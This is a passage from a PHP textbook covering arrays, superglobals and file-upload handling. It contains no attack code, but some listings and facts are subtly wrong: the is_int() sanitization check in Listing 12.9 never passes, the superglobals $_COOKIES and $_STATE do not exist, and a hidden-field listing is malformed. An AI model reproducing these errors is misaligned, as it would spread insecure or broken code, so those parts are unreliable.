values. This allows you to use keys other than the classic 0, 1, 2, … , n to
define the indexes of an array. For clarity, the exact same array defined above
and shown in Figure 12.1 can also be defined more explicitly by specifying
the keys and values as shown in Figure 12.2 .

Figure 12.2 Explicitly assigning
keys to array elements

Figure 12.2 Full Alternative Text



One should be especially careful about mixing the types of the keys for an
array since PHP performs cast operations on the keys that are not integers or
strings. You cannot have key “1” distinct from key 1 or 1.5, since all three
will be cast to the integer key 1.

Explicit control of the keys and values opens the door to keys that do not start
at 0, are not sequential, and that are not even integers (but rather strings).
This is why you can also consider an array to be a dictionary or hash map. All
arrays in PHP are generally referred to as associative arrays. You can see in
Figure 12.3 an example of an associative array and its visual representation.
In the example in Figure 12.3 , the keys are strings (for the weekdays) and the
values are temperature forecasts for the specified day in integer degrees.

Figure 12.3 Array with strings
as keys and integers as values

Figure 12.3 Full Alternative Text

As can be seen in Figure 12.3 , to access an element in an associative array,
you simply use the key value rather than an index:



echo $forecast[“Wed”];    // this will output 52

12.1.2 Multidimensional Arrays
PHP also supports multidimensional arrays. Recall that the values for an
array can be any PHP object, which includes other arrays. Listing 12.1
illustrates the creation of two different multidimensional arrays (each one
contains two dimensions).

Listing 12.1 Multidimensional
arrays
$month = array 

  ( 

  array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”), 

  array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”), 

  array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”), 

  array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”) 

  ); 

 

echo $month[0][3];    // outputs Thu 

$cart = array(); 

$cart[] = array(“id” => 37, “title” => “Burial at Ornans”,  

                “quantity” => 1); 

$cart[] = array(“id” => 345, “title” => “The Death of Marat”,  

                “quantity” => 1); 

$cart[] = array(“id” => 63, “title” => “Starry Night”, “quantity” => 1);

 

echo $cart[2][“title”];   // outputs Starry Night

Figure 12.4 illustrates the structure of these two multidimensional arrays.



Figure 12.4 Visualizing
multidimensional arrays

Figure 12.4 Full Alternative Text



12.1.3 Iterating through an Array
One of the most common programming tasks that you will perform with an
array is to iterate through its contents. Listing 12.2 illustrates how to iterate
and output the content of the $days array from 12.1.1 three different ways:
using while, do while, and for loops. Each example uses the built-in function
count(), which return the number of values in a given array.

Hands-on Exercises Lab 12
Exercise
Iterating through a 2D Array

Listing 12.2 Iterating through an
array using while, do while, and for
loops
// while loop 

$i=0; 

while  ($i < count($days)) { 

   echo $days[$i] . “<br>”; 

   $i++; 

} 

// do while loop 

$i=0; 

do  { 

   echo $days[$i] . “<br>”; 

   $i++; 

}  while  ($i < count($days)); 

// for loop 

for  ($i=0; $i<count($days); $i++) { 

   echo $days[$i] . “<br>”; 

}



The challenge of using the classic loop structures is that when you have
nonsequential integer keys (i.e., an associative array), you can't write a simple
loop that uses the $i++ construct. To address the dynamic nature of such
arrays, you have to use iterators to move through such an array. This iterator
concept has been woven into the foreach loop and its use is illustrated for the
$forecast array in Listing 12.3.

Listing 12.3 Iterating through an
associative array using a foreach
loop
// foreach: iterating through the values 

foreach  ($forecast  as $value) { 

   echo $value . “<br>”; 

} 

 

// foreach: iterating through the values AND the keys 

foreach  ($forecast  as $key => $value) { 

   echo “day[” . $key . “]=” . $value; 

}

Pro Tip
In practice, arrays are printed in web apps using a loop as shown in Listings
12.2 and 12.3. However, for debugging purposes, you can quickly output the
content of an array using the print_r() function, which prints out the array
and shows you the keys and values stored within. For example,

print_r($days);

Will output the following:

Array ( [0] => Mon [1] => Tue [2] => Wed [3] => Thu [4] => Fri )



12.1.4 Adding and Deleting
Elements
In PHP, arrays are dynamic, that is, they can grow or shrink in size. An
element can be added to an array simply by using a key/index that hasn't been
used, as shown below:

$days[5] = “Sat”;

Since there is no current value for key 5, the array grows by one, with the
new key/value pair added to the end of our array. If the key had a value
already, the same style of assignment replaces the value at that key. As an
alternative to specifying the index, a new element can be added to the end of
any array using empty square brackets after the array name, as follows:

$days[] = “Sun”;

The advantage to this approach is that we don't have to worry about skipping
an index key. PHP is more than happy to let you “skip” an index, as shown in
the following example:

$days = array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”); 

$days[7] = “Sat”; 

print_r($days);

What will be the output of the print_r()? It will show that our array now
contains the following:

Array ([0] => Mon [1] => Tue [2] => Wed [3] => Thu [4] => Fri [7] => Sat)

That is, there is now a “gap” in our array indexes that will cause problems if
we try iterating through it using the techniques shown in Listing 12.2. If we
try referencing $days[6], for instance, an error message will be issued and it
will return a NULL value, which is a special PHP value that represents a
variable with no value.

You can also create “gaps” by explicitly deleting array elements using the



unset() function, as shown in Listing 12.4.

Listing 12.4 Deleting elements
$days = array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”); 

 

unset($days[2]); 

unset($days[3]); 

print_r($days); // outputs: Array ( [0] => Mon [1] => Tue [4] => Fri )

 

$days = array_values($days); 

print_r($days);  // outputs: Array ( [0] => Mon [1] => Tue [2] => Fri )

Listing 12.4 also demonstrates that you can remove “gaps” in arrays (which
really are just gaps in the index keys) using the array_values() function,
which returns a copy of the array passed in using the numerical indexes of 0,
1, 2, … .

Checking If a Value Exists
Since array keys need not be sequential, and need not be integers, you may
run into a scenario where you want to check if a value has been set for a
particular key. As with null variables, values for keys that do not exist are
also considered to be undefined. To check if a value exists for a key, you can
therefore use the isset() function, which returns true if a value has been set,
and false otherwise. Listing 12.5 defines an array with noninteger indexes,
and shows the result of asking isset() on several indexes.

Listing 12.5 Illustrating
nonsequential keys and usage of
isset( )
$oddKeys = array (1 => “hello”, 3 => “world”, 5 => “!”); 



if (isset($oddKeys[0])) { 

   // The code below will never be reached since $oddKeys[0] is not set!

   echo “there is something set for key 0”; 

} 

if (isset($oddKeys[1])) { 

   // This code will run since a key/value pair was defined for key 1

   echo “there is something set for key 1, namely ”. $oddKeys[1]; 

}

12.1.5 Array Sorting
One of the major advantages of using a mature language like PHP is its built-
in functions. There are many built-in sort functions, which sort by key or by
value. To sort the $days array by its values you would simply use:

Hands-on Exercises Lab 12
Exercise
Array Sorting

sort($days);

As the values are all strings, the resulting array would be:

Array ([0] => Fri [1] => Mon [2] => Sat [3] => Sun [4] => Thu  

      [5] => Tue [6] => Wed)

However, such a sort loses the association between the values and the keys!
A better sort, one that would have kept keys and values associated together,
is:

asort($days);

The resulting array in this case is:

Array ([4] => Fri [0] => Mon [5] => Sat [6] => Sun [3] => Thu  



      [1] => Tue [2] => Wed)

After this last sort, you really see how an array can exist with nonsequential
keys! There are even more complex functions available that let you sort by
your own comparator, sort by keys, and more. You can read more about
sorting functions in the official PHP documentation.1

12.1.6 More Array Operations
In addition to the powerful sort functions, there are other convenient
functions you can use on arrays. It does not make sense to reinvent the wheel
when valid, efficient functions have already been written for you. While we
will not go into detail about each one, here is a brief description of some key
array functions:

array_keys($someArray): This method returns an indexed array with
the values being the keys of $someArray.

For example, print_r(array_keys($days)) outputs

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 [4] => 4 )

array_values($someArray): Complementing the above array_keys()
function, this function returns an indexed array with the values being the
values of $someArray.

For example, print_r(array_values($days)) outputs

Array ( [0] => Mon [1] => Tue [2] => Wed [3] => Thu [4] => Fri )

array_rand($someArray, $num=1): Often in games or widgets you
want to select a random element in an array. This function returns as
many random keys as are requested. If you only want one, the key itself
is returned; otherwise, an array of keys is returned.

For example, print_r(array_rand($days,2)) might output:

Array ([0] => 3 [1] => 4)



array_reverse($someArray): This method returns $someArray in
reverse order. The passed $someArray is left untouched.

For example, print_r(array_reverse($days)) outputs:

Array ( [0] => Fri [1] => Thu [2] => Wed [3] => Tue [4] => Mon )

array_walk($someArray, $callback, $optionalParam): This method
is extremely powerful. It allows you to call a method ($callback), for
each value in $someArray. The $callback function typically takes two
parameters, the value first, and the key second. An example that simply
prints the value of each element in the array is shown below.

$someA = array(“hello”, “world”);

array_walk($someA, “doPrint”);

function doPrint($value,$key){

  echo $key . “: ” . $value;

}

in_array($needle, $haystack, $optionalStrict): This method lets
you search array $haystack for a value ($needle). It returns true if it is
found, and false otherwise. $optionalStrict is a boolean that controls
whether to also require type equality.

shuffle($someArray): This method shuffles $someArray. Any existing
keys are removed and $someArray is now an indexed array if it wasn't
already.

For a complete list, visit the Array type documentation at php.net.2

12.1.7 Superglobal Arrays
PHP uses special predefined associative arrays called superglobal variables
that allow the programmer to easily access HTTP headers, query string
parameters, and other commonly needed information (see Table 12.1). They
are called superglobal because these arrays are always in scope and always
exist, ready for the programmer to access or modify them without having to
use the global keyword as in Chapter 11.

http://php.net


Table 12.1 Superglobal
Variables

Name Description
$GLOBALS Array for storing data that needs superglobal scope
$_COOKIES Array of cookie data passed to page via HTTP request
$_ENV Array of server environment data
$_FILES Array of file items uploaded to the server

$_GET
Array of query string data passed to the server via the
URL

$_POST
Array of query string data passed to the server via the
HTTP header

$_REQUEST
Array containing the contents of $_GET, $_POST, and
$_COOKIES

$_SESSION Array that contains session data

$_SERVER
Array containing information about the request and the
server

The following sections examine the $_GET, $_POST, $_SERVER, and the $_FILE
superglobals. Chapter 16 on State Management uses $_COOKIES, $_GLOBALS,
and $_STATE.



12.2 $_GET and $_POST
Superglobal Arrays
The $_GET and $_POST arrays are the most important superglobal variables in
PHP since they allow the programmer to access data sent by the client. As
you will recall from Chapter 5, an HTML form (or an HTML link) allows a
client to send data to the server. That data is formatted such that each value is
associated with a name defined in the form. If the form was submitted using
an HTTP GET request, then the resulting URL will contain the data in the
query string. PHP will populate the superglobal $_GET array using the
contents of this query string in the URL. Figure 12.5 illustrates the
relationship between an HTML form, the GET request, and the values in the
$_GET array.

Figure 12.5 Illustration of flow



from HTML, to request, to
PHP's $_GET array

Figure 12.5 Full Alternative Text

Note
Although in our examples we are transmitting login data, including a
password, we are only doing so to illustrate how sensitive information must
at some point be transmitted. You should always use POST to transmit login
credentials, on a secured SSL site, and moreover, you should hide the
password using a password form field.

If the form was sent using HTTP POST, then the values will not be visible in
the URL, but will be sent through HTTP POST request body. From the PHP
programmer's perspective, almost nothing changes from a GET data request
except that those values and keys are now stored in the $_POST array. This
mechanism greatly simplifies accessing the data posted by the user, since you
need not parse the query string or the POST request headers. Figure 12.6
illustrates how data from a HTML form using POST populates the $_POST
array in PHP.



Figure 12.6 Data flow from
HTML form through HTTP
request to PHP's $_POST
array

Figure 12.6 Full Alternative Text

Note
Recall from Chapter 5 that within query strings, characters such as spaces,
punctuation, symbols, and accented characters cannot be part of a query
string and are instead URL encoded.



One of the nice features of the $_GET and $_POST arrays is that the query
string values are already URL decoded, as shown in Figure 12.7 .

Figure 12.7 URL encoding and
decoding

Figure 12.7 Full Alternative Text

If you do need to manually perform URL encoding/decoding (say, for
database storage), you can use the urlencode() and urldecode() functions.
This should not be confused with HTML entities (symbols like >, <) for
which there exists the htmlentities() function.



12.2.1 Determining If Any Data Sent
There will be times as you develop in PHP that you will use the same file to
handle both the display of a form as well as handling the form input. For
example, a single file is often used to display a login form to the user, and
that same file also handles the processing of the submitted form data, as
shown in Figure 12.8 . In such cases you may want to know whether any
form data was submitted at all using either POST or GET.



Figure 12.8 Form display and
processing by the same PHP
page

Figure 12.8 Full Alternative Text
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Exercise
Checking for POST

In PHP, there are several techniques to accomplish this task. First, you can
determine if you are responding to a POST or GET by checking the
$_SERVER['REQUEST_METHOD'] variable (we will cover the $_SERVER
superglobal in more detail in Section 12.3). It contains (as a string) the type
of HTTP request this script is responding to (GET, POST, HEAD, etc.). Even
though you may know that, for instance, a POST request was performed, you
may want to check if any of the fields are set. To do this you can use the
isset() function in PHP to see if there is any value set for a particular
expected key, as shown in Listing 12.6.

Listing 12.6 Using isset() to check
query string data
<!DOCTYPE html> 

<html> 

<body> 

<?php 

if ($_SERVER[“REQUEST_METHOD”] == “POST”) { 



   if ( isset($_POST[“uname”]) && isset($_POST[“pass”]) ) { 

      // handle the posted data. 

      echo “handling user login now …”; 

      echo “… here we could redirect or authenticate ”; 

      echo “ and hide login form or something else”; 

   } 

} 

?> 

<h1>Some page that has a login form</h1> 

<form action=“samplePage.php” method=“POST”> 

   Name <input type=“text” name=“uname”><br> 

   Pass <input type=“password” name=“pass”><br> 

   <input type=“submit”> 

</form> 

</body> 

</html>

Note
The PHP function isset() only returns false if a parameter name is missing
altogether from the sent data. It still returns true if the parameter name exists
and is associated with a blank value. For instance, let us imagine that the
query string looks like the following:

uname=&pass=

In such a case the condition if(isset($_GET ['uname']) && isset ($_GET
['pass'])) will evaluate to true because something was sent for those keys,
albeit a blank value. Thus, more coding will be necessary to further test the
values of the parameters. Alternately, these two checks can be combined
using the empty() function. However, the empty() function has its own
limitations. To learn more about checking query strings, see Section 15.1.1.

Pro Tip
In PHP 7.0 the null coalescing operator provides a new syntactic operation
that combines checking a value for being non NULL with assignment. It



returns the first operand if non null and the second if the first is null.

To see this in practice, consider the good practice of defining default values
when user input is missing. The following line of code checks for a user
posted value in the $_GET superglobal array, and if nothing was sent assigns
a default value of nobody

$username = isset($_GET['uname']) ? $_GET['uname'] : 'nobody';

Using the new null coalescing operator the same line can be written as:

$username = $_GET['uname'] ?? 'nobody';

It's worth noting that the ?? operator can be chained so that the first non-
NULL operand is assigned, unless the last one is reached. To demonstrate a
chain of length three, we could use ?? to check multiple fields in the $_GET
array, using the provided last value in the chain if none of the fields are set,
as follows:

$username = $_GET['uname'] ?? $_GET['username'] ?? 'nobody';

12.2.2 Accessing Form Array Data
Sometimes in HTML forms you might have multiple values associated with a
single name; back in Chapter 5, there was an example in Section 5.4.2 on
checkboxes. Listing 12.7 provides another example. Notice that each
checkbox has the same name value (name=“day”).

Listing 12.7 HTML that enables
multiple values for one name
<form method=“get”> 

   Please select days of the week you are free.<br> 

   Monday <input type=“checkbox” name=“day” value=“Monday”> <br> 

   Tuesday <input type=“checkbox” name=“day” value=“Tuesday”> <br>

   Wednesday <input type=“checkbox” name=“day” value=“Wednesday”> <br>



   Thursday <input type=“checkbox” name=“day” value=“Thursday”> <br>

   Friday <input type=“checkbox” name=“day” value=“Friday”> <br>  

   <input type=“submit” value=“Submit”> 

</form>

Unfortunately, if the user selects more than one day and submits the form, the
$_GET['day'] value in the superglobal array will only contain the last value
from the list that was selected.

To overcome this limitation, you must change the HTML in the form. In
particular, you will have to change the name attribute for each checkbox from
day to day[].

Monday <input type=“checkbox” name=“day[]” value=“Monday”> 

Tuesday <input type=“checkbox” name=“day[]” value=“Tuesday”> 

…

After making this change in the HTML, the corresponding variable
$_GET['day'] will now have a value that is of type array. Knowing how to
use arrays, you can process the output as shown in Listing 12.8 to echo the
number of days selected and their values.

Listing 12.8 PHP code to display an
array of checkbox variables
<?php 

 

echo “You submitted ” . count($_GET['day']) . “values”; 

foreach  ($_GET['day']  as  $d) { 

   echo $d . “ <br>”; 

} 

 

?>

12.2.3 Using Query Strings in
Hyperlinks



As mentioned several times now, form information (packaged in a query
string or a HTTP header field) is transported to the server in one of two
locations depending on whether the form method is GET or POST. It is
important to also realize that making use of query strings is not limited to
only data entry forms.

Hands-on Exercises Lab 12
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Using Query String Values

You may wonder if it is possible to combine query strings with anchor tags
… the answer is YES! Anchor tags (i.e., hyperlinks) also use the HTTP GET
method. Indeed it is extraordinarily common in web development to
programmatically construct the URLs for a series of links from, for instance,
database data. Imagine a web page in which we are displaying a list of book
links. One approach would be to have a separate page for each book (as
shown in Figure 12.9 ). This is not a very sensible approach. Our database
may have hundreds or thousands of books in it: surely it would be too much
work to create a separate page for each book!



Figure 12.9 Inefficient
approach to displaying
individual items

Figure 12.9 Full Alternative Text

It would make a lot more sense to have a single Display Book page that
receives as input a query string that specifies which book to display, as
shown in Figure 12.10 . Notice that we typically pass some type of unique
identifier in the query string (in this case, the book's ISBN).



Figure 12.10 Sensible approach
to displaying individual items
using query strings

Figure 12.10 Full Alternative Text

We will learn more about how to implement such pages making use of
database information in Chapter 14.

12.2.4 Sanitizing Query Strings
One of the most important things to remember about web development is that
you should actively distrust all user input. That is, just because you are
expecting a proper query string, it doesn't mean that you are going to get a
properly constructed query string. What will happen if the user edits the value
of the query string parameter? Depending on whether the user removes the
parameter or changes its type, either an empty screen or even an error page



will be displayed. More worrisome is the threat of SQL injection, where the
user actively tries to gain access to the underlying database server (we will
examine SQL injection attacks in detail in Chapter 18).

Clearly this is an unacceptable result! At the very least, your program must
be able to handle the following cases for every query string or form value
(and, after we learn about them in Chapter 15, every cookie value as well):

If query string parameter doesn't exist.

If query string parameter doesn't contain a value.

If query string parameter value isn't the correct type or is out of
acceptable range.

If value is required for a database lookup, but provided value doesn't
exist in the database table.

The process of checking user input for incorrect or missing information is
sometimes referred to as the process of sanitizing user inputs. How can we do
these types of validation checks? It will require programming similar to that
shown in Listing 12.9.

Listing 12.9 Simple sanitization of
query string values
// This uses a database API … we will learn about it in  Chapter 14

$pid = mysqli_real_escape_string($link, $_GET['id']); 

 

if ( is_int($pid) ) { 

     // Continue processing as normal 

} 

else { 

     // Error detected. Possibly a malicious user 

}



Security Tip
All data values that are potentially modifiable by the user, such as query
strings, form values, or cookie values, must be sanitized before use. We will
come back to this vital topic in Chapters 14, 15, and 18.

What should we do when an error occurs in Listing 12.9? There are a variety
of possibilities; Chapter 15 will examine the issue of exception and error
handling in more detail. For now, we might simply redirect to a generic error
handling page using the header directive, for instance:

header(“Location: error.php”); exit();

Pro Tip
In some situations, a more secure approach to query strings is needed, one
that detects any user tampering of query string parameter values. One of the
most common ways of implementing this detection is to encode the query
string value with a one-way hash, which is a mathematical algorithm that
takes a variable-length input string and turns it into fixed-length binary
sequence. It is called one-way because it is designed to be difficult to reverse
the process (i.e., go from the binary sequence to the input string) without
knowing the secret text (or salt in encryption lingo) used to generate the
original hash. In such a case, our query string might change from id=16 to
id=53e5e07397f7f01c2b276af813901c29.

Extended Example
Now that you have learned the basics of using regular arrays and the $_GET
and $_POST superglobal arrays, let's take a look at an extended example that
makes use of both. The example defines an associative array containing book
data (in book-data.inc.php). The page xtended-example.php includes this



book data and then uses a loop to display the book data as an array of links.
Notice that the URL for the links is the same extended-example.php page but
with a query string. This is a common programming pattern in PHP. The page
thus has to check for the existence of the query string and if it exists, then it
displays the requested book. If the query string is not present, then the page
displays a default book.
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12.3 $_SERVER Array
The $_SERVER associative array contains a variety of information. It contains
some of the information contained within HTTP request headers sent by the
client. It also contains many configuration options for PHP itself, as shown in
Figure 12.11 .

Figure 12.11 Relationship
between request headers, the
server, and the $_SERVER



array
Figure 12.11 Full Alternative Text

Hands-on Exercises Lab 12
Exercise
Using the $_SERVER Superglobal

To use the $_SERVER array, you simply refer to the relevant case-sensitive key
name:

echo  $_SERVER[“SERVER_NAME”]  . “<br>”; 

echo  $_SERVER[“SERVER_SOFTWARE”]  . “<br>”; 

echo  $_SERVER[“REMOTE_ADDR”]  . “<br>”;

It is worth noting that because the entries in this array are created by the web
server, not every key listed in the PHP documentation will necessarily be
available. A complete list of keys contained within this array is listed in the
online PHP documentation, but we will cover some of the critical ones here.
They can be classified into keys containing request header information and
keys with information about the server settings (which is often configured in
the php.ini file).

12.3.1 Server Information Keys
SERVER_NAME is a key in the $_SERVER array that contains the name of the site
that was requested. If you are running multiple hosts on the same code base,
this can be a useful piece of information. SERVER_ADDR is a complementary
key telling us the IP of the server. Either of these keys can be used in a
conditional to output extra HTML to identify a development server, for
example.



DOCUMENT_ROOT tells us the file location from which you are currently running
your script. Since you are often moving code from development to
production, this key can be used to great effect to create scripts that do not
rely on a particular location to run correctly. This key complements the
SCRIPT_NAME key that identifies the actual script being executed.

12.3.2 Request Header Information
Keys
Recall that the web server responds to HTTP requests, and that each request
contains a request header. These keys provide programmatic access to the
data in the request header.

The REQUEST_METHOD key returns the request method that was used to access
the page: that is, GET, HEAD, POST, PUT, DELETE.

The REMOTE_ADDR key returns the IP address of the requestor, which can be a
useful value to use in your web applications. In real-world sites these IP
addresses are often stored to provide an audit trail of which IP made which
requests, especially on sensitive matters like finance and personal
information. In an online poll, for example, you might limit each IP address
to a single vote. Although these can be forged, the technical competence
required is high, thus in practice one can usually assume that this field is
accurate.

One of the most commonly used request headers is the user-agent header,
which contains the operating system and browser that the client is using. This
header value can be accessed using the key HTTP_USER_AGENT. The user-agent
string as posted in the header is cryptic, containing information that is
semicolon-delimited and may be hard to decipher. PHP has included a
comprehensive (but slow) method to help you debug these headers into useful
information. Listing 12.10 illustrates a script that accesses and echoes the
user-agent header information.



Listing 12.10 Accessing the user-
agent string in the HTTP headers
<?php 

echo  $_SERVER['HTTP_USER_AGENT']; 

 

$browser = get_browser($_SERVER['HTTP_USER_AGENT'], true); 

print_r($browser); 

?>

One can use user-agent information to redirect to an alternative site, or to
include a particular style sheet. User-agent strings are also almost always
used for analytic purposes to allow us to track which types of users are
visiting our site, but this technique is captured in later chapters.

Pro Tip
In order for get_browser() to work, your php.ini file must point the
browscap setting to the correct location of the browscap.ini file on your
system. A current browscap.ini file can be downloaded from php.net.3 Also,
this function is very complete, but slow. More simplistic string comparisons
are often used when only one or two aspects of the user-agent string are
important.

HTTP_REFERER is an especially useful header. Its value contains the address of
the page that referred us to this one (if any) through a link. Like
HTTP_USER_AGENT, it is commonly used in analytics to determine which pages
are linking to our site.

Listing 12.11 shows an example of context-dependent output that outputs a
message to clients that came to this page from the search page, a message that
is not shown to clients that came from any other link. This allows us to output
a link back to the search page, but only when the user arrived from the search
page.



Listing 12.11 Using the
HTTP_REFERER header to
provide context-dependent output
$previousPage = $_SERVER['HTTP_REFERER']; 

// Check to see if referer was our search page 

if (strpos($previousPage,“search.php”) != 0) { 

   echo “<a href='search.php'>Back to search</a>”; 

} 

// Rest of HTML output

Security Tip
All headers can be forged! The HTTP_REFERER header need not be honest
about its contents, just as the USER_AGENT need not actually summarize the
operating system and browser the client is using. Plug-ins exist in Firefox to
allow the developer to in fact modify these headers. None of these headers
can be trusted for security purposes, although they can be used to enhance the
user experience since most users are not forging them.



12.4 $_FILES Array
The $_FILES associative array contains items that have been uploaded to the
current script. Recall from Chapter 5 that the <input type=“file”> element
is used to create the user interface for uploading a file from the client to the
server. The user interface is only one part of the uploading process. A server
script must process the uploaded file(s) in some way; the $_FILES array helps
in this process.

Hands-on Exercises Lab 12
Exercise
Processing File Uploads

12.4.1 HTML Required for File
Uploads
To allow users to upload files, there are some specific things you must do:

First, you must ensure that the HTML form uses the HTTP POST
method, since transmitting a file through the URL is not possible.

Second, you must add the enctype=“multipart/form-data” attribute to
the HTML form that is performing the upload so that the HTTP request
can submit multiple pieces of data (namely, the HTTP post body, and
the HTTP file attachment itself).

Finally you must include an input type of file in your form. This will
show up with a browse button beside it so the user can select a file from



their computer to be uploaded. A simple form demonstrating a very
straightforward file upload to the server is shown in Listing 12.12.

Listing 12.12 HTML for a form that
allows an upload
<form  enctype='multipart/form-data' method='post'> 

   <input  type='file'  name='file1' id='file1'> 

   <input type='submit'> 

</form>

12.4.2 Handling the File Upload in
PHP
The corresponding PHP file responsible for handling the upload (as specified
in the HTML form's action attribute) will utilize the superglobal $_FILES
array.4 This array will contain a key=value pair for each file uploaded in the
post. The key for each element will be the name attribute from the HTML
form's <input> tags, while the value will be an array containing information
about the file as well as the file itself. The keys in that array are the name,
type, tmp_name, error, and size.

Figure 12.12 illustrates the process of uploading a file to the server and how
the corresponding upload information is contained in the $_FILES array. The
values for each of the keys, are described below.



Figure 12.12 Data flow from
HTML form through POST to
PHP $_FILES array
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name is a string containing the full file name used on the client machine,
including any file extension. It does not include the file path on the
client's machine.



type defines the MIME type of the file. This value is provided by the
client browser and is therefore not a reliable field.

tmp_name is the full path to the location on your server where the file is
being temporarily stored. The file will cease to exist upon termination of
the script, so it should be copied to another location if storage is
required.

error is an integer that encodes many possible errors and is set to
UPLOAD_ERR_OK (integer value 0) if the file was uploaded successfully.

size is an integer representing the size in bytes of the uploaded file.

Just having the data in a temporary file, and the reference to it in $_FILES is
not enough. You must also write a script to handle the uploaded files. If you
want to store the file, you will have to move it to a location on the server to
which Apache has write access. You must also decide what to name the file,
and whether to make it accessible to the world. Alternatively, you might
decide to save the uploaded information within a database (you will learn
how to do this at the end of the next chapter). Regardless of which approach
you take, before “saving” the file, you should also perform a variety of
checks. This might include looking for transmission errors, enforcing file size
limits, and checking type restrictions.

Note
When PHP scripts are written to accept user uploads, they often run into
errors since PHP is by default configured very conservatively. First and
foremost, you must ensure your destination folder can be written to by the
Apache web server. Check out Chapter 22 for more details.

In addition, you will want to be aware of several php.ini configuration
directives including: file_uploads, upload_file_maxsize, post_max_size,
memory_limit, max_execution_time, and max_input_time.

Some shared web hosts will not allow you to override these settings since



they can negatively impact server performance. The setting max_input_time,
for example, allows Apache to terminate scripts that run too long. Increasing
this value too high would allow a badly written script with an infinite loop to
run for as long as specified, slowing down the server for everyone else.

The location for storage of temporary files is also controlled in php.ini. It can
be changed by modifying the path associated with the upload_tmp_dir
attribute. Be aware that on some shared hosting packages your temporary
files are accessible to others!

12.4.3 Checking for Errors
For every uploaded file, there is an error value associated with it in the
$_FILES array. The error values are specified using constant values, which
resolve to integers. The value for a successful upload is UPLOAD_ERR_OK, and
should be looked for before proceeding any further. The full list of errors is
provided in Table 12.2 and shows that there are many causes for bad file
uploads.

Table 12.2 Error Codes in PHP
for File Upload Taken from
php.net6

Error Code Integer Meaning

UPLOAD_ERR_OK 0 Upload was
successful.

UPLOAD_ERR_INI_SIZE 1
The uploaded file
exceeds the
upload_max_filesize

directive in php.ini.
The uploaded file



UPLOAD_ERR_FORM_SIZE 2
exceeds the
max_file_size

directive that was
specified in the HTML
form.

UPLOAD_ERR_PARTIAL 3 The file was only
partially uploaded.

UPLOAD_ERR_NO_FILE 4

No file was uploaded.
Not always an error,
since the user may
have simply not
chosen a file for this
field.

UPLOAD_ERR_NO_TMP_DIR 6 Missing the temporary
folder.

UPLOAD_ERR_CANT_WRITE 7 Failed to write to disk.

UPLOAD_ERR_EXTENSION 8 A PHP extension
stopped the upload.

A proper file upload script will therefore check each uploaded file by
checking the various error codes as shown in Listing 12.13.

Listing 12.13 Checking each file
uploaded for errors
foreach ($_FILES as $fileKey => $fileArray) { 

   if ($fileArray[“error”] != UPLOAD_ERR_OK) { // error 

      echo “Error: ” . $fileKey . “ has error” . $fileArray[“error”] 

           . “<br>”; 

   } 

   else {    // no error 

      echo $fileKey . “Uploaded successfully ”; 

   } 

}



12.4.4 File Size Restrictions
Some scripts limit the file size of each upload. There are many reasons to do
so, and ideally you would prevent the file from even being transmitted in the
first place if it is too large. There are three main mechanisms for maintaining
uploaded file size restrictions: via HTML in the input form, via JavaScript in
the input form, and via PHP coding.

The first of these mechanisms is to add a hidden input field before any other
input fields in your HTML form with a name of MAX_FILE_SIZE. This
technique allows your php.ini maximum file size to be large, while letting
some forms override that large limit with a smaller one. Listing 12.14 shows
how the HTML from Listing 12.12 must be modified to add such a check. It
should be noted that though this mechanism is set up in the HTML form, it is
only available to use when your server-side environment is using PHP.

Listing 12.14 Limiting upload file
size via HTML
<form enctype='multipart/form-data' method='post'> 

   <input id='max' type='hidden' name='MAX_FILE_SIZE' value='1000000'

   <input type='file' name='file1'> 

   <input type='submit'> 

</form>

Note
This MAX_FILE_SIZE hidden field must precede the file input field. As well,
its value must be within the maximum file size accepted by PHP.

As intuitive as it is, this hidden field can easily be overridden by the client,
and is therefore unacceptable as the only means of limiting size. Moreover,
since it is a server-side check and not a client-side one, this means that the



file uploading must be complete before an error message can be received.
This could be quite frustrating for the user to wait for a large upload to finish
only to get an error that the uploaded file was too large, making this
technique less valuable than the other ways of checking file size.

The more complete client-side mechanism to prevent a file from uploading if
it is too big is to prevalidate the form using JavaScript. Such a script, to be
added to a handler for the form in Listing 12.14, is shown in Listing 12.15.

Listing 12.15 Limiting upload file
size via JavaScript
<script> 

var file  = document.getElementById('file1'); 

var max_size  = document.getElementById(“max”).value; 

if (file.files && file.files.length ==1){ 

   if (file.files[0].size  >  max_size) { 

      alert(“The file must be less than “ + (max_size/1024) + ”KB”);

      e.preventDefault(); 

   } 

} 

</script>

The third (and essential) mechanism for limiting the uploaded file size is to
add a simple check on the server side (just in case JavaScript was turned off
or the user modified the MAX_FILE_SIZE hidden field). This technique checks
the file size on the server by simply checking the size field in the $_FILES
array. Listing 12.16 shows an example of such a check.

Listing 12.16 Limiting upload file
size via PHP
$max_file_size = 10000000; 

foreach($_FILES as $fileKey => $fileArray) { 

   if ($fileArray[“size”] > $max_file_size) { 



      echo “Error: ” . $fileKey . “ is too big <br>”; 

   } 

   printf(“%s is %.2f KB”, $fileKey, $fileArray[“size”]/1024); 

}

12.4.5 Limiting the Type of File
Upload
Even if the upload was successful and the size was within the appropriate
limits, you may still have a problem. What if you wanted the user to upload
an image and they uploaded a Microsoft Word document? You might also
want to limit the uploaded image to certain image types, such as jpg and png,
while disallowing bmp and others. To accomplish this type of checking you
typically examine the file extension and the type field. Listing 12.17 shows
sample code to check the file extension of a file, and also to compare the type
to valid image types. Note the use of the end() function to manipulate an
array, and explode() to create an array from a string.

Hands-on Exercises Lab 12
Exercise
Managing Uploaded Files

Listing 12.17 PHP code to look for
valid mime types and file extensions
$validExt = array(“jpg”, “png”); 

$validMime = array(“image/jpeg”,“image/png”); 

foreach($_FILES as $fileKey => $fileArray ){ 

   $extension = end(explode(“.”, $fileArray[“name”])); 

   if (in_array($fileArray[“type”],$validMime) && 



          in_array($extension, $validExt)) { 

      echo “All is well. Extension and mime types valid”; 

   } 

   else { 

      echo $fileKey.“ has an invalid mime type or extension”; 

   } 

}

Security Tip
The file extension and type field are transmitted by the client, and could be
forged. You have likely yourself encountered how easy it is to change a file
extension. Changing the type transmitted is also possible. Therefore when
uploading data that will be publicly accessible, a more robust check should be
done. For images this might include exploring the Exif data (Exchangeable
image file format, which contains a wide range of metadata about an image),
embedded inside the image file. For those interested in exploring further
lookup the exif_imagetype() function to get started.

12.4.6 Moving the File
